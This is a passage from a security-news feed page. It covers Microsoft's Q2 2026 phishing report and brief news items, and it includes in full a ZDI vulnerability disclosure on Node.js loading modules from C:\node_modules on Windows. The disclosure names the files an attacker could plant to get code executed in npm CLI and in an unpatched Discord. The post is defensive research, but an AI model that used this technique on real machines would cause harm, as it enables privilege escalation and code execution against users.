<p class="wp-block-paragraph">The decline extended to QR Code <a href="https://www.csoonline.com/article/3557585/attackers-are-using-qr-codes-sneakily-crafted-in-ascii-and-blob-urls-in-phishing-emails.html">lures</a> and fake CAPTCHA <a href="https://www.csoonline.com/article/3829416/fake-captcha-attacks-are-increasing-say-experts.html">pages</a>, two phishing techniques in which Tycoon2FA accounted for 12% and 14% of industry activity in June, respectively. This indicated that the platform’s customer base had not been able to migrate to a replacement infrastructure.</p>



<p class="wp-block-paragraph">But cutting off one head of the hacker hydra only gave rise to new tactics elsewhere.</p>



<p class="wp-block-paragraph">The adaptation came in the form of using Microsoft <a href="https://www.csoonline.com/article/4160858/attackers-abuse-microsoft-teams-to-impersonate-the-it-helpdesk-in-a-new-enterprise-intrusion-playbook.html">Teams as a social engineering channel</a>. Attackers established conversations to build trust before attempting credential theft or delivering malicious payloads. “Teams-based phishing volume climbed steadily throughout Q2, with the average number of detected attacks rising 19% from March to April, holding roughly flat into May (+1%), then increasing another 10% into June,” Microsoft said.</p>



<p class="wp-block-paragraph">Microsoft also observed a highly automated BEC campaign that reached over 67,000 users using scripted emails, Amazon Simple Email Service (SES), and engagement tracking, alongside a separate phishing campaign targeting 107,000 users that abused Microsoft’s authentication flow and trusted cloud services, including Teams archive recording and ICS calendar invite, to disguise malware delivery behind legitimate infrastructure.</p>



<h2 class="wp-block-heading">Phishing changes but the defense doesn’t</h2>



<p class="wp-block-paragraph">While QR Code and Captcha-based phishing attacks dropped significantly in the second quarter, business email compromise (BEC) charted jumped 121% between March and April, before dropping down again in May.</p>



<p class="wp-block-paragraph">QR Code phishing represented 8.3 million attacks in June 2026, down from a peak of 18.7 million in March. Similarly, Captcha-gated phishing fell from 12 million attacks in March to 2.2 million in June.</p>



<p class="wp-block-paragraph">BEC attacks hit 9 million in March, falling to 3.9 million in June.</p>



<p class="wp-block-paragraph">But even as these phishing classics lost momentum and newer techniques emerged, Microsoft’s defensive advice remained rooted in the basics. It noted organizations should complement email filtering with phishing-resistant authentication such as passkeys and phishing-resistant <a href="https://www.csoonline.com/article/3535222/mfa-adoption-is-catching-up-but-is-not-quite-there.html">MFA</a> to reduce the effectiveness of credential theft campaigns.</p>



<p class="wp-block-paragraph">The company also recommended strengthening Exchange Online Protection and Microsoft Defender for Office 365 with capabilities such as Safe links and Zero-hour Auto Purge (ZAP), in which malicious emails already delivered to mailboxes are removed before they are read, alongside enforcing password-less authentication methods like Windows Hello, <a href="https://www.csoonline.com/article/4040128/fido-undermined.html">FIDO </a>keys, and Microsoft Authenticator.</p>



<p class="wp-block-paragraph">Microsoft concluded its report with a list of indicators of compromise (IoCs) from the threats observed in the quarter to support detection efforts.</p>



<p class="wp-block-paragraph"><em>This article first appeared on <a href="https://www.csoonline.com/article/4201146/tycoon2fa-takedown-reshapes-the-phishing-landscape.html">CSO</a>.</em></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[ShinyHunters: 275 Millionen Canvas-Nutzer in Cyberangriff betroffen - BornCity]]></title>
<description><![CDATA[Die Hacker setzen zunehmend auf Social Engineering. Beim Finanzdienstleister Figure Technology gelang der Zugriff, nachdem ein Mitarbeiter gezielt ...]]></description>
<link>https://tsecurity.de/de/3694623/hacking/shinyhunters-275-millionen-canvas-nutzer-in-cyberangriff-betroffen-borncity/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694623/hacking/shinyhunters-275-millionen-canvas-nutzer-in-cyberangriff-betroffen-borncity/</guid>
<pubDate>Sat, 25 Jul 2026 19:03:57 +0200</pubDate>
<category>🕵️ Hacking</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Die <b>Hacker</b> setzen zunehmend auf Social Engineering. Beim Finanzdienstleister Figure Technology gelang der Zugriff, nachdem ein Mitarbeiter gezielt ...]]></content:encoded>
</item>
<item>
<title><![CDATA[4 little-known Google Calendar tricks I use to plan my workweek - and save time]]></title>
<description><![CDATA[If you're only using Google Calendar to track events, you're missing some of its most useful features.]]></description>
<link>https://tsecurity.de/de/3694583/hacking/4-little-known-google-calendar-tricks-i-use-to-plan-my-workweek-and-save-time/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694583/hacking/4-little-known-google-calendar-tricks-i-use-to-plan-my-workweek-and-save-time/</guid>
<pubDate>Sat, 25 Jul 2026 19:03:31 +0200</pubDate>
<category>🕵️ Hacking</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[If you're only using Google Calendar to track events, you're missing some of its most useful features.]]></content:encoded>
</item>
<item>
<title><![CDATA[Node.js Trust Falls: Dangerous Module Resolution on Windows]]></title>
<description><![CDATA[In September of 2024, ZDI received a vulnerability submission from an anonymous researcher affecting npm CLI that revealed a fundamental design issue in Node.js. This blog details how it continues to expose applications to local privilege escalation (LPE) attacks on Windows systems, including the...]]></description>
<link>https://tsecurity.de/de/3694571/hacking/nodejs-trust-falls-dangerous-module-resolution-on-windows/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694571/hacking/nodejs-trust-falls-dangerous-module-resolution-on-windows/</guid>
<pubDate>Sat, 25 Jul 2026 19:02:58 +0200</pubDate>
<category>🕵️ Hacking</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p class="">In September of 2024, ZDI received a vulnerability submission from an anonymous researcher affecting <a href="https://docs.npmjs.com/cli/v11">npm CLI</a> that revealed a fundamental design issue in <a href="https://nodejs.org/en">Node.js</a>. This blog details how it continues to expose applications to local privilege escalation (LPE) attacks on Windows systems, including the Discord desktop app (CVE-2026-0776 0-Day), which remains unpatched and vulnerable.</p>





















  
  



<p>The issue is straightforward: when Node.js resolves modules, the runtime searches for packages in <code>C:\node_modules</code> as part of its default behavior. Since low-privileged Windows users can create this directory and plant malicious modules there, any Node.js application with missing or optional dependencies becomes vulnerable to privilege escalation.</p>




  <p class="">This issue is not new. Concerned discussions about Node.js's module search path behavior date back to <a href="https://groups.google.com/g/nodejs/c/5BGr5dliUIk/m/abJEH3sPymcJ">2013</a> and <a href="https://github.com/nodejs/node-v0.x-archive/issues/8830">2014</a>.</p><p class="">Node.js has explicitly <a href="https://github.com/nodejs/node/security/policy#uncontrolled-search-path-element-cwe-427">stated</a> that they consider this behavior intentional: </p><p class="">"Node.js trusts the file system." </p><p class="">They do not treat CWE-427 (Uncontrolled Search Path Element) as a vulnerability, pushing responsibility onto application developers. </p>





















  
  














































  

    
  
    

      

      
        <figure class="
              sqs-block-image-figure
              intrinsic
            ">
          
        
        

        
          
            
              
              
          
            
                
                
                
                
                
                
                
                <img data-stretch="false" data-image="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/80c1a21b-6d10-4c27-8a9b-e05a32ee4c0b/nodejs-non-vulnerability-docs.png" data-image-dimensions="866x438" data-image-focal-point="0.5,0.5" alt="" data-load="false" elementtiming="system-image-block" data-sqsp-image-classic-block-image src="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/80c1a21b-6d10-4c27-8a9b-e05a32ee4c0b/nodejs-non-vulnerability-docs.png?format=1000w" width="866" height="438" sizes="(max-width: 640px) 100vw, (max-width: 767px) 100vw, 100vw" onload='this.classList.add("loaded")' srcset="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/80c1a21b-6d10-4c27-8a9b-e05a32ee4c0b/nodejs-non-vulnerability-docs.png?format=100w 100w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/80c1a21b-6d10-4c27-8a9b-e05a32ee4c0b/nodejs-non-vulnerability-docs.png?format=300w 300w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/80c1a21b-6d10-4c27-8a9b-e05a32ee4c0b/nodejs-non-vulnerability-docs.png?format=500w 500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/80c1a21b-6d10-4c27-8a9b-e05a32ee4c0b/nodejs-non-vulnerability-docs.png?format=750w 750w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/80c1a21b-6d10-4c27-8a9b-e05a32ee4c0b/nodejs-non-vulnerability-docs.png?format=1000w 1000w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/80c1a21b-6d10-4c27-8a9b-e05a32ee4c0b/nodejs-non-vulnerability-docs.png?format=1500w 1500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/80c1a21b-6d10-4c27-8a9b-e05a32ee4c0b/nodejs-non-vulnerability-docs.png?format=2500w 2500w" loading="lazy" decoding="async" data-loader="sqs">

            
          
        
            
          
        

        
          
          <figcaption data-sqsp-image-classic-block-caption-container class="image-caption-wrapper">
            <p data-rte-preserve-empty="true"><em>Figure 1: The vendor’s security policy stance on CWE-427 as a non-issue</em></p>
          </figcaption>
        
      
        </figure>
      

    
  


  





  <p class="">As the case studies below demonstrate, this stance has dangerous consequences. Developers are largely unaware of this attack surface, and the result is a proliferation of exploitable applications. We will show examples in npm CLI and Discord, but there are likely many more applications that are impacted by this.</p><p class=""><strong>Root Cause</strong></p><p class="">The root cause lies in the way Node.js performs module resolution. This is documented <a href="https://nodejs.org/api/modules.html#loading-from-node-modules-folders">here.</a> Although UNIX paths are used in the documentation provided by Node.js, the same logic is applied on Windows.</p>





















  
  



<p>When a Node.js application calls require(‘bar’), the runtime searches for the module in the following order:  </p>
<ol>
<li>   C:\Users\Administrator\projects\node_modules\bar.js</li>
<li>   C:\Users\Administrator\node_modules\bar.js</li>
<li>   C:\Users\node_modules\bar.js</li>
<li>   C:\node_modules\bar.js              &lt;-- The problem</li>
</ol>
<p>If the legitimate package is missing, whether due to optional dependencies, development packages removed in production, or installation failures, the resolution search will eventually reach the root of the drive. Any user can create <code>C:\node_modules</code> and place a malicious package there. Once the low-privileged user has populated <code>C:\node_modules\bar.js</code>, Node.js will load and execute it in the context of the current user. In the following case studies, we will provide evidence of how, despite properly following NPM’s <a href="https://docs.npmjs.com/cli/v11/configuring-npm/package-json#optionaldependencies">guidelines</a>, third-party dependencies end up triggering this vulnerability anytime you launch the application.   </p>
<p><b data-preserve-html-node="true">Case Studies: Real-World Manifestations</b>  </p>
<p>The Optional Dependency Pattern:
npm supports optional dependencies to be specified in the project’s package.json file. The <a href="https://docs.npmjs.com/cli/v11/configuring-npm/package-json#optionaldependencies">recommended pattern</a> for checking for these dependencies is as follows:</p>












































  

    
  
    

      

      
        <figure class="
              sqs-block-image-figure
              intrinsic
            ">
          
        
        

        
          
            
              
              
          
            
                
                
                
                
                
                
                
                <img data-stretch="false" data-image="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/4d1a598e-31cd-4ced-9047-0e80c6549174/npm-optional-dependency-docs.png" data-image-dimensions="1051x756" data-image-focal-point="0.5,0.5" alt="" data-load="false" elementtiming="system-image-block" data-sqsp-image-classic-block-image src="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/4d1a598e-31cd-4ced-9047-0e80c6549174/npm-optional-dependency-docs.png?format=1000w" width="1051" height="756" sizes="(max-width: 640px) 100vw, (max-width: 767px) 100vw, 100vw" onload='this.classList.add("loaded")' srcset="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/4d1a598e-31cd-4ced-9047-0e80c6549174/npm-optional-dependency-docs.png?format=100w 100w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/4d1a598e-31cd-4ced-9047-0e80c6549174/npm-optional-dependency-docs.png?format=300w 300w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/4d1a598e-31cd-4ced-9047-0e80c6549174/npm-optional-dependency-docs.png?format=500w 500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/4d1a598e-31cd-4ced-9047-0e80c6549174/npm-optional-dependency-docs.png?format=750w 750w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/4d1a598e-31cd-4ced-9047-0e80c6549174/npm-optional-dependency-docs.png?format=1000w 1000w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/4d1a598e-31cd-4ced-9047-0e80c6549174/npm-optional-dependency-docs.png?format=1500w 1500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/4d1a598e-31cd-4ced-9047-0e80c6549174/npm-optional-dependency-docs.png?format=2500w 2500w" loading="lazy" decoding="async" data-loader="sqs">

            
          
        
            
          
        

        
          
          <figcaption data-sqsp-image-classic-block-caption-container class="image-caption-wrapper">
            <p data-rte-preserve-empty="true"><em>Figure 2: npm Docs showing optionalDependencies example code      </em></p>
          </figcaption>
        
      
        </figure>
      

    
  


  


<p>This pattern silently catches errors when optional packages are missing, allowing execution to continue. So what’s the problem? On Windows, Node.js will search all the way up to <code>C:\node_modules</code> where an attacker may have planted a malicious replacement. This search behavior mirrors UNIX conventions where <code>/node_modules</code> at the filesystem root is typically only writable by root. Windows systems by default allow any user to create <code>C:\node_modules</code>. Once <code>require</code> is called, Node.js will traverse the search path and execute any matching module it finds.  </p>
<p>Important things to note:  </p>
<ol>
<li>   This pattern can be found in third party libraries deep in a dependency tree, as we will see in the following examples.  </li>
<li>   There is no runtime indication to either the developers or the end users that such a vulnerability exists without looking at the filesystem logs with Procmon.  </li>
<li>   The optional dependency pattern itself would not be dangerous if Node.js did not search for packages in <code>C:\node_modules</code>.</li>
</ol>
<p>Let’s take a deeper look at both cases and see why this is so dangerous.  </p>
<p><b data-preserve-html-node="true">Case 1: npm CLI (ZDI-26-043 / ZDI-CAN-25430 / CVE-2026-0775)</b>. </p>
<p>Prior to version 11.2.0, npm CLI used a library called “promise-inflight”, which contained an optional dependency on a package called “bluebird”. </p>












































  

    
  
    

      

      
        <figure class="
              sqs-block-image-figure
              intrinsic
            ">
          
        
        

        
          
            
              
              
          
            
                
                
                
                
                
                
                
                <img data-stretch="false" data-image="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/13612d7b-3bf5-4b03-9971-e2bf396590e1/npm-inflight-require.png" data-image-dimensions="926x517" data-image-focal-point="0.5,0.5" alt="" data-load="false" elementtiming="system-image-block" data-sqsp-image-classic-block-image src="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/13612d7b-3bf5-4b03-9971-e2bf396590e1/npm-inflight-require.png?format=1000w" width="926" height="517" sizes="(max-width: 640px) 100vw, (max-width: 767px) 100vw, 100vw" onload='this.classList.add("loaded")' srcset="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/13612d7b-3bf5-4b03-9971-e2bf396590e1/npm-inflight-require.png?format=100w 100w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/13612d7b-3bf5-4b03-9971-e2bf396590e1/npm-inflight-require.png?format=300w 300w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/13612d7b-3bf5-4b03-9971-e2bf396590e1/npm-inflight-require.png?format=500w 500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/13612d7b-3bf5-4b03-9971-e2bf396590e1/npm-inflight-require.png?format=750w 750w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/13612d7b-3bf5-4b03-9971-e2bf396590e1/npm-inflight-require.png?format=1000w 1000w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/13612d7b-3bf5-4b03-9971-e2bf396590e1/npm-inflight-require.png?format=1500w 1500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/13612d7b-3bf5-4b03-9971-e2bf396590e1/npm-inflight-require.png?format=2500w 2500w" loading="lazy" decoding="async" data-loader="sqs">

            
          
        
            
          
        

        
          
          <figcaption data-sqsp-image-classic-block-caption-container class="image-caption-wrapper">
            <p data-rte-preserve-empty="true"><em>Figure 3: npm CLI repo </em><a href="https://github.com/npm/cli/blob/977fd5784f875fdc2e3436ed15c444ddca63e3d7/node_modules/promise-inflight/inflight.js#L6"><em>snippet</em></a><em> </em><a href="https://github.com/npm/cli/blob/977fd5784f875fdc2e3436ed15c444ddca63e3d7/node_modules/promise-inflight/inflight.js#L6"><em>showing</em></a><em> require call for missing bluebird package dependency</em></p>
          </figcaption>
        
      
        </figure>
      

    
  


  


<p>When Node.js is installed on the system, npm is included by default without the <code>bluebird</code> package.  This vulnerability was introduced when bluebird was removed through a well-intentioned pull request (<a href="https://github.com/npm/cli/pull/1438/changes">https://github.com/npm/cli/pull/1438/changes</a>), demonstrating how easy it is for developers to unknowingly create this attack surface.</p>
<p>We can see Node’s package resolution logic at work in the screenshot below:</p>












































  

    
  
    

      

      
        <figure class="
              sqs-block-image-figure
              intrinsic
            ">
          
        
        

        
          
            
              
              
          
            
                
                
                
                
                
                
                
                <img data-stretch="false" data-image="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/055eed5f-eb9e-46d7-be00-3a7c3a11631d/npm-procmon-logs.png" data-image-dimensions="1007x497" data-image-focal-point="0.5,0.5" alt="" data-load="false" elementtiming="system-image-block" data-sqsp-image-classic-block-image src="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/055eed5f-eb9e-46d7-be00-3a7c3a11631d/npm-procmon-logs.png?format=1000w" width="1007" height="497" sizes="(max-width: 640px) 100vw, (max-width: 767px) 100vw, 100vw" onload='this.classList.add("loaded")' srcset="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/055eed5f-eb9e-46d7-be00-3a7c3a11631d/npm-procmon-logs.png?format=100w 100w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/055eed5f-eb9e-46d7-be00-3a7c3a11631d/npm-procmon-logs.png?format=300w 300w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/055eed5f-eb9e-46d7-be00-3a7c3a11631d/npm-procmon-logs.png?format=500w 500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/055eed5f-eb9e-46d7-be00-3a7c3a11631d/npm-procmon-logs.png?format=750w 750w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/055eed5f-eb9e-46d7-be00-3a7c3a11631d/npm-procmon-logs.png?format=1000w 1000w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/055eed5f-eb9e-46d7-be00-3a7c3a11631d/npm-procmon-logs.png?format=1500w 1500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/055eed5f-eb9e-46d7-be00-3a7c3a11631d/npm-procmon-logs.png?format=2500w 2500w" loading="lazy" decoding="async" data-loader="sqs">

            
          
        
            
          
        

        
          
          <figcaption data-sqsp-image-classic-block-caption-container class="image-caption-wrapper">
            <p data-rte-preserve-empty="true"><em>Figure 4: Procmon log showing the package resolution behavior of Node.js via CVE-2026-0775</em></p>
          </figcaption>
        
      
        </figure>
      

    
  


  


<p>First, the application looks for the <code>bluebird.js</code> package in the Node.js installation directory. Node.js sequentially searches back to the system root until it finds the package. If an attacker has placed <code>C:\node_modules\bluebird.js</code>, the <code>require</code> call will find, read, and execute the malicious payload in the context of any user running npm on the system. </p>
<p>This vulnerability is especially dangerous because it is triggered when many <code>npm *</code> cli commands are used. Common development commands such as <code>npm install</code>, <code>npm –l</code>, and <code>npm prune</code> will all execute the malicious <code>bluebird.js</code>package.</p>
<p><b data-preserve-html-node="true">Case 2: Discord (ZDI-26-040/ ZDI-CAN-27057 / CVE-2026-0776/ UNPATCHED)</b></p>
<p>On April 22, 2025, ZDI received a report for a similar vulnerability in Discord reported by T. Doğa Gelişli. Discord uses the ws WebSocket library, which contains an optional dependency on utf-8-validate for compatibility with older Node.js versions:</p>












































  

    
  
    

      

      
        <figure class="
              sqs-block-image-figure
              intrinsic
            ">
          
        
        

        
          
            
              
              
          
            
                
                
                
                
                
                
                
                <img data-stretch="false" data-image="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/e9dbb1a2-f4fc-4ef1-b1e1-3d69e0c4baa0/Screenshot+2026-04-08+at+10.59.22%E2%80%AFAM.png" data-image-dimensions="1662x798" data-image-focal-point="0.5,0.5" alt="" data-load="false" elementtiming="system-image-block" data-sqsp-image-classic-block-image src="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/e9dbb1a2-f4fc-4ef1-b1e1-3d69e0c4baa0/Screenshot+2026-04-08+at+10.59.22%E2%80%AFAM.png?format=1000w" width="1662" height="798" sizes="(max-width: 640px) 100vw, (max-width: 767px) 100vw, 100vw" onload='this.classList.add("loaded")' srcset="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/e9dbb1a2-f4fc-4ef1-b1e1-3d69e0c4baa0/Screenshot+2026-04-08+at+10.59.22%E2%80%AFAM.png?format=100w 100w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/e9dbb1a2-f4fc-4ef1-b1e1-3d69e0c4baa0/Screenshot+2026-04-08+at+10.59.22%E2%80%AFAM.png?format=300w 300w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/e9dbb1a2-f4fc-4ef1-b1e1-3d69e0c4baa0/Screenshot+2026-04-08+at+10.59.22%E2%80%AFAM.png?format=500w 500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/e9dbb1a2-f4fc-4ef1-b1e1-3d69e0c4baa0/Screenshot+2026-04-08+at+10.59.22%E2%80%AFAM.png?format=750w 750w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/e9dbb1a2-f4fc-4ef1-b1e1-3d69e0c4baa0/Screenshot+2026-04-08+at+10.59.22%E2%80%AFAM.png?format=1000w 1000w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/e9dbb1a2-f4fc-4ef1-b1e1-3d69e0c4baa0/Screenshot+2026-04-08+at+10.59.22%E2%80%AFAM.png?format=1500w 1500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/e9dbb1a2-f4fc-4ef1-b1e1-3d69e0c4baa0/Screenshot+2026-04-08+at+10.59.22%E2%80%AFAM.png?format=2500w 2500w" loading="lazy" decoding="async" data-loader="sqs">

            
          
        
            
          
        

        
          
          <figcaption data-sqsp-image-classic-block-caption-container class="image-caption-wrapper">
            <p data-rte-preserve-empty="true">Figure 5: websockets library repo snippet showing require call for missing utf-8-validate package dependency</p>
          </figcaption>
        
      
        </figure>
      

    
  


  


<p>Discord does not ship with the utf-8-validate package. As a result, the following Procmon logs show the same behavior as Case 1. Anytime Discord is launched, the attacker controlled <code>C:\node_modules\utf-8-validate.js</code> is executed.</p>












































  

    
  
    

      

      
        <figure class="
              sqs-block-image-figure
              intrinsic
            ">
          
        
        

        
          
            
              
              
          
            
                
                
                
                
                
                
                
                <img data-stretch="false" data-image="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/2c563913-8390-46a3-aa48-5dcc755c7d4a/Capture.png" data-image-dimensions="1074x528" data-image-focal-point="0.5,0.5" alt="" data-load="false" elementtiming="system-image-block" data-sqsp-image-classic-block-image src="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/2c563913-8390-46a3-aa48-5dcc755c7d4a/Capture.png?format=1000w" width="1074" height="528" sizes="(max-width: 640px) 100vw, (max-width: 767px) 100vw, 100vw" onload='this.classList.add("loaded")' srcset="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/2c563913-8390-46a3-aa48-5dcc755c7d4a/Capture.png?format=100w 100w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/2c563913-8390-46a3-aa48-5dcc755c7d4a/Capture.png?format=300w 300w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/2c563913-8390-46a3-aa48-5dcc755c7d4a/Capture.png?format=500w 500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/2c563913-8390-46a3-aa48-5dcc755c7d4a/Capture.png?format=750w 750w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/2c563913-8390-46a3-aa48-5dcc755c7d4a/Capture.png?format=1000w 1000w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/2c563913-8390-46a3-aa48-5dcc755c7d4a/Capture.png?format=1500w 1500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/2c563913-8390-46a3-aa48-5dcc755c7d4a/Capture.png?format=2500w 2500w" loading="lazy" decoding="async" data-loader="sqs">

            
          
        
            
          
        

        
          
          <figcaption data-sqsp-image-classic-block-caption-container class="image-caption-wrapper">
            <p data-rte-preserve-empty="true">Figure 6: Procmon log showing the package resolution behavior of Node.js via CVE-2026-0776</p>
          </figcaption>
        
      
        </figure>
      

    
  


  


<p>The ws library does support disabling this check via the <code>WS_NO_UTF_8_VALIDATE</code> environment variable, but this requires the consuming application (Discord) to set it explicitly. Here’s a quick video demonstrating the bug by popping the calc app when opening Discord:</p>


  














  
    
      
    
    
      
        
          
          
        
      
      
      



    
  








  <p class="">Discord automatically opens on login by default, so in practice code execution happens immediately without any user interaction. Strangely, the Discord Security team made it clear to us in their responses that they do not consider local attack vectors as valid security issues. </p><p class=""><strong>The Bigger Picture</strong></p><p class="">The cases above represent only a few of the applications affected by this pattern. During our investigation we found many other independent reports.  These issues in <a href="https://jira.mongodb.org/browse/COMPASS-9058">Mongo DB Compass</a> and <a href="https://jira.mongodb.org/browse/MONGOSH-2028">Mongo DB Shell</a> are just two other examples.</p><p class="">Every Windows application built on Node.js with missing or optional dependencies is potentially vulnerable. This includes desktop applications that utilize Electron as well as popular web frameworks such as Next.js and React.</p><p class="">Each vendor has clearly stated that they will not treat these issues as vulnerabilities: </p><p class="">NPM’s response to our report: </p><p class=""><em>“exploits that require local access to a machine are considered ineligible for npm CLI</em></p><p class="">Discord’s response to our report:</p><p class=""><em>“We do not consider physical/local attacks as valid security issues”</em></p><p class="">Node.js, in the “Examples of non-vulnerabilities” section of their <a href="https://github.com/nodejs/node/security/policy#examples-of-non-vulnerabilities">Security Policy</a>: </p><p class=""><em>“Node.js trusts the file system in the environment accessible to it. Therefore, it is not a vulnerability if it accesses/loads files from any path that is accessible to it.” </em></p><p class=""><strong>Conclusion</strong></p>





















  
  



<p>The vulnerability pattern described in this blog stems from a deliberate design decision by Node.js maintainers. While Node.js's position that “applications should trust their filesystem” may hold true on properly administered UNIX systems, it creates a systemic vulnerability on Windows where low-privileged users can write to <code>C:\node_modules</code>. Without a fix from Node.js, the burden silently falls on application developers.   </p>
<p>Making matters worse, the vulnerable code may not live in the application code itself. The optional dependencies that trigger this behavior could come from third-party libraries buried in the dependency tree as we saw with both Discord and npm CLI. </p>




  <p class="">We encourage security researchers to further review this issue and investigate other applications for this dangerous behavior. You can find us online at <a href="https://x.com/bobbygould5">@bobbygould5</a> and <a href="https://x.com/izobashi">@izobashi</a>, and follow the team on <a href="https://www.twitter.com/thezdi">Twitter</a>, <a href="https://infosec.exchange/@thezdi">Mastodon</a>, <a href="https://www.linkedin.com/company/zerodayinitiative">LinkedIn</a>, or <a href="https://bsky.app/profile/thezdi.bsky.social">Bluesky</a> for the latest in exploit techniques and security patches.</p><p class=""> </p><p class="">DISCLOSURE TIMELINES</p><p class=""> </p><p class="">NPM CLI: </p><p class="">2024-11-13 – ZDI submitted the report to the vendor</p><p class="">2024-11-13 – The vendor acknowledged the receipt of the report</p><p class="">2024-11-13 – The vendor communicated that the reported behavior was by design and they do not consider local attacks as valid security issues</p><p class="">2025-08-05 – ZDI encouraged the vendor to re-assess the issue</p><p class="">2025-12-18 – ZDI notified the vendor of the intention to publish the case as a 0-day advisory</p><p class=""> </p><p class="">DISCORD: </p><p class="">2025-07-08 – ZDI notified vendor </p><p class="">2025-09-11 – ZDI followed up with vendor </p><p class="">2025-09-15 – Vendor stated they do not consider local attacks as valid security issues </p><p class="">2025-12-01 – ZDI explained why we believe the issue is still valid </p><p class="">2025-12-10 – Vendor replied that the vulnerability is still out of scope  </p><p class="">2025-12-11 – ZDI informed vendor of intent to publish 0-day  </p><p class="">  </p><p class="">REFERENCES</p><p class=""><a href="https://nodejs.org/api/modules.html#loading-from-node_modules-folders">https://nodejs.org/api/modules.html#loading-from-node_modules-folders</a></p><p class=""><a href="https://docs.npmjs.com/cli/v10/configuring-npm/package-json#optionaldependencies">https://docs.npmjs.com/cli/v10/configuring-npm/package-json#optionaldependencies</a></p><p class=""><a href="https://groups.google.com/g/nodejs/c/5BGr5dliUIk/m/abJEH3sPymcJ?pli=1">https://groups.google.com/g/nodejs/c/5BGr5dliUIk/m/abJEH3sPymcJ?pli=1</a></p><p class=""><a href="https://github.com/nodejs/node-v0.x-archive/issues/8830">https://github.com/nodejs/node-v0.x-archive/issues/8830</a></p><p class=""><a href="https://bounty.github.com/ineligible.html#vulnerability_in_upstream_dependencies:~:text=eligible%20for%20rewards.-,Local%20access,-Vulnerabilities%20which%20require">https://bounty.github.com/ineligible.html#vulnerability_in_upstream_dependencies:~:text=eligible%20for%20rewards.-,Local%20access,-Vulnerabilities%20which%20require</a></p><p class=""><a href="https://github.com/nodejs/node/security/policy#examples-of-non-vulnerabilities">https://github.com/nodejs/node/security/policy#examples-of-non-vulnerabilities</a></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[The May 2026 Security Update Review]]></title>
<description><![CDATA[I’m currently in Berlin helping set up for Pwn2Own Berlin, but that doesn’t stop Patch Tuesday from coming, and it’s another big one. At least nothing is listed as being in the wild – for now. Take a break from your regularly scheduled activities and let’s take a look at the latest security patch...]]></description>
